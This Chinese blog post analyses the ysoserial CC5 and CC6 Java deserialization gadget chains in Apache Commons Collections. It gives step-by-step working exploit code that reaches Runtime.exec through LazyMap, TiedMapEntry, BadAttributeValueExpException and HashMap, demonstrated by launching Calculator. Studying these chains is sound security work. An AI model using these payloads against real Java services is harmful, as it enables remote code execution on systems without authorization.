前言

这是common-collections 反序列化的第三篇文章,这次分析利用链CC5和CC6,先看下Ysoserial CC5 payload:

public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val;
}

前面到LazyMap这一段我们已经非常熟悉了,恶意的Transform放到了LazyMap中,只要有其他地方调用LazyMap的get()方法即可触发恶意Transform。

通过IDEA的Find Usages功能,可以看到有上千个地方有对lazymap调用,而YsoSerial CC5选择了TiedMapEntry。

TiedMapEntry

为什么CC5 选择使用TiedMapEntry呢,看一下TiedMapEntry的源码,其中getValue()有对map调用get()方法,那getValue()就能触发代码执行,捎带的本类中还有equalshashCodetoString 有调用getValue,也就是说在TiedMapEntry 能触发代码执行的有 equalshashCodetoStringgetValue这四个方法,其中toString和equals 某些场景下能够被隐式调用。

利用链挖掘

将恶意类绑定到TiedMapEntry后,因为可以触发的方法变多了,同时特别是toString和equel方法更加通用所以,只要找到一个类满足以下条件,那RCE就能完成了:

  1. 该类有继承可以被序列化标志的Serializable接口,或者其父类有继承Serializable
  2. 该类的readObject方法中有调用可控变量的toStringequelhashCodegetValue

满足这两个条件其实有很多,对应的分别有

  • 调用toString的BadAttributeValueExpException 对应CC5

  • 调用hashcode的HashMap,对应CC6

一、BadAttributeValueExpException(CC5)

先来分析下CC5的BadAttributeValueExpException,打开源码定位readObject,非常明显,有对序列化变量val的toString()操作。

看一下这个val长啥样:

val是一个Object类型的私有化变量,那思路就很清晰,只要把我们构造的TiedMapEntry 通过反射赋值给val即可。

实操

第一步 构造恶意的LazyMap

		//  第一步 构造恶意lazyMap
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer);

第二步 构造恶意的TiedMapEntry

		// 第二步 构造恶意的 TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "9eek");

第三步 构造利用类 BadAttributeValueExpException

这里有个细节,虽然能够直接通过构造方法赋值给val,但在构造方法中有对入参做toString操作,那得到的val就是String而不是map了,所以只能通过反射的方式去赋值给val

        // 第三步 构造 BadAttributeValueExpException
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
ReflectUtils.setFields(badAttributeValueExpException,"val",tiedMapEntry);

第四步 反序列化验证

       // 第四步 反序列化验证
String path = ExpUtils.serialize(badAttributeValueExpException);
ExpUtils.unserialize(path);

执行一下,命令成功执行:

HashMap

上面以BadAttributeValueExpException作为利用,下面看一下HashMap#readObject的源码,HashMap中有对反序列化的key值做hash操作:

跟进一下hash(),调用了key的hashCode()方法,结合我们对TiedMapEntry的分析,这里只要将key赋值为TiedMapEntry,在反序列化时即可完成RCE。

实操

第一步 构造恶意TiedMapEntry

这里有一点和前面不一样,传递给chainedTransformer的是一个 new ConstantTransformer(1) 相当于空操作的fakeTransformer,这是为了避免后面在hashmap在put时会执行代码。

		//  第一步 构造恶意 tiedMapEntry
String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})
};
Transformer[] fakeTransformer = new Transformer[]{
new ConstantTransformer(1)
}; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformer);
HashMap<String,String> hashMap = new HashMap<>();
hashMap.put("testKey","testVal");
Map evilMap = LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "entryKey");

第二步 绑定到hashmap上

 Map mapStringHashMap = new HashMap<>();
mapStringHashMap.put(tiedMapEntry,"outerKey");

第三步 移除第一个hashmap的entryKey

这里可以想一下为什么要这么操作。

因为HashMap不光在readobject时会执行hash操作,在put的时候也会计算hash,这样put的时候第一个hashmap就已经生成entryKey的key了,而在反序列化的时候系统判断存在就不会再执行transform方法,也就不会触发代码执行。

其实这里为什么在已经传递给tiedMapEntry后还能修改第一个hashmap并生效也说明了,Java中传递给TiedMapEntry只是一个引用,可以在外面进行修改。

 evilMap.remove("entryKey");

第四步 把恶意的transfomer通过反射重新赋值给chainedTransformer并反序列化验证

 		ReflectUtils.setFields(chainedTransformer,"iTransformers",transformers);
String path = ExpUtils.serialize(mapStringHashMap);
ExpUtils.unserialize(path);

执行结果:

总结

本篇文章在前文LazyMap的基础上进一步通过TiedMapEntry封装,从而带来了CC5与CC6的反序列化利用链,值得说明的是,CC5、CC6目前没有版本限制,执行非常通用,我在最近的JDK1.8.261下都能成功运行,是在实战中比较好利用的链。

YsoSerial 工具常用Payload分析之CC5、6(三)的更多相关文章

  1. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

  2. YsoSerial 工具常用Payload分析之CC1

    前文介绍了最简单的反序列化链URLDNS,虽然URLDNS本身不依赖第三方包且调用简单,但不能做到漏洞利用,仅能做漏洞探测,如何才能实现RCE呢,于是就有Common-collections1-7.C ...

  3. YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...

  4. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  5. YsoSerial 工具常用Payload分析之CC3(二)

    这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...

  6. Java应用常用性能分析工具

    Java应用常用性能分析工具 好的工具有能有效改善和提高工作效率或加速分析问题的进度,笔者将从事Java工作中常用的性能工具和大家分享下,如果感觉有用记得投一票哦,如果你有好的工具也可以分享给我 工具 ...

  7. Fiddler抓取https请求 & Fiddler抓包工具常用功能详解

    Fiddler抓取https请求 & Fiddler抓包工具常用功能详解   先来看一个小故事: 小T在测试APP时,打开某个页面展示异常,于是就跑到客户端开发小A那里说:“你这个页面做的有问 ...

  8. SoapUI、Jmeter、Postman三种接口测试工具的比较分析

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

  9. SoapUI、Jmeter、Postman三种接口测试工具的比较分析——灰蓝

    前段时间忙于接口测试,也看了几款接口测试工具,简单从几个角度做了个比较,拿出来与诸位分享一下吧.各位如果要转载,请一定注明来源,最好在评论中告知博主一声,感谢.本报告从多个方面对接口测试的三款常用工具 ...

随机推荐

  1. fail2ban防护ssh免于暴力破解

    一.背景 开放到公网的主机无时无刻不在遭受攻击,其中ssh暴力破解频率最高,会有无数机器不分日夜地搜索公网上的猎物,然后进行弱密码尝试 如果你的公网机器恰巧设的弱密码,估计刚装上系统,没过几小时别人就 ...

  2. WordPress安装篇(5):源码编译安装LNMP并部署WordPress

    与YUM方式安装相比,源码编译安装方式更灵活,安装过程中能自定义功能和参数,特别是在批量部署服务器又要求软件版本及配置一致时,源码编译安装的优势很明显.本文介绍如何通过源码编译方式安装Nginx1.1 ...

  3. 【题解】codeforces 1B Spreadsheets

    题意翻译 人们常用的电子表格软件(比如: Excel)采用如下所述的坐标系统:第一列被标为A,第二列为B,以此类推,第26列为Z.接下来为由两个字母构成的列号: 第27列为AA,第28列为AB-在标为 ...

  4. 9.10、mysql进程、状态在线修改参数重要知识

    1.-e :改参数表示不用登陆mysql就可以使用mysql的命令,有利于于加管道符对数据进行处理: mysql -uroot -p123456 -e "show databases;&qu ...

  5. Spring Cloud 专题之四:Zuul网关

    书接上回: SpringCloud专题之一:Eureka Spring Cloud专题之二:OpenFeign Spring Cloud专题之三:Hystrix 经过前面三章对Spring Cloud ...

  6. 教你写百分九十的shell

    本文章主要内容来自菜鸟教程 , 也添加了一些知识点 shell脚本? 在说什么是shell脚本之前,先说说什么是shell.shell是外壳的意思,就是操作系统的外壳.我们可以通过shell命令来操作 ...

  7. 并发王者课-铂金10:能工巧匠-ThreadLocal如何为线程打造私有数据空间

    欢迎来到<并发王者课>,本文是该系列文章中的第23篇,铂金中的第10篇. 说起ThreadLocal,相信你对它的名字一定不陌生.在并发编程中,它有着较高的出场率,并且也是面试中的高频面试 ...

  8. 使用 redis 减少 秒杀库存 超卖思路 (转)

      由于数据库查询的及插入的操作 耗费的实际时间要耗费比redis 要多, 导致 多人查询时库存有,但是实际插入数据库时却超卖 redis 会有效的减少相关的延时,对于并发量相对较少的 可以一用 1 ...

  9. 计算机网络体系结构整理-第九单元移动IP

    第九章 移动IP 什么是移动:移动指的是用户连接位置的改变,而不是设备物理位置的改变 移动可以是离散的或连续的 移动IP的基本要求:1.IP地址不变 2.宿地址路由 3.信息量和交互简化 4.安全 5 ...

  10. MySQL存储引擎——InnoDB和MyISAM的区别

    MySQL5.5后,默认存储引擎是InnoDB,5.5之前默认是MyISAM. InnoDB(事务性数据库引擎)和MyISAM的区别补充: InnoDB是聚集索引,数据结构是B+树,叶子节点存K-V, ...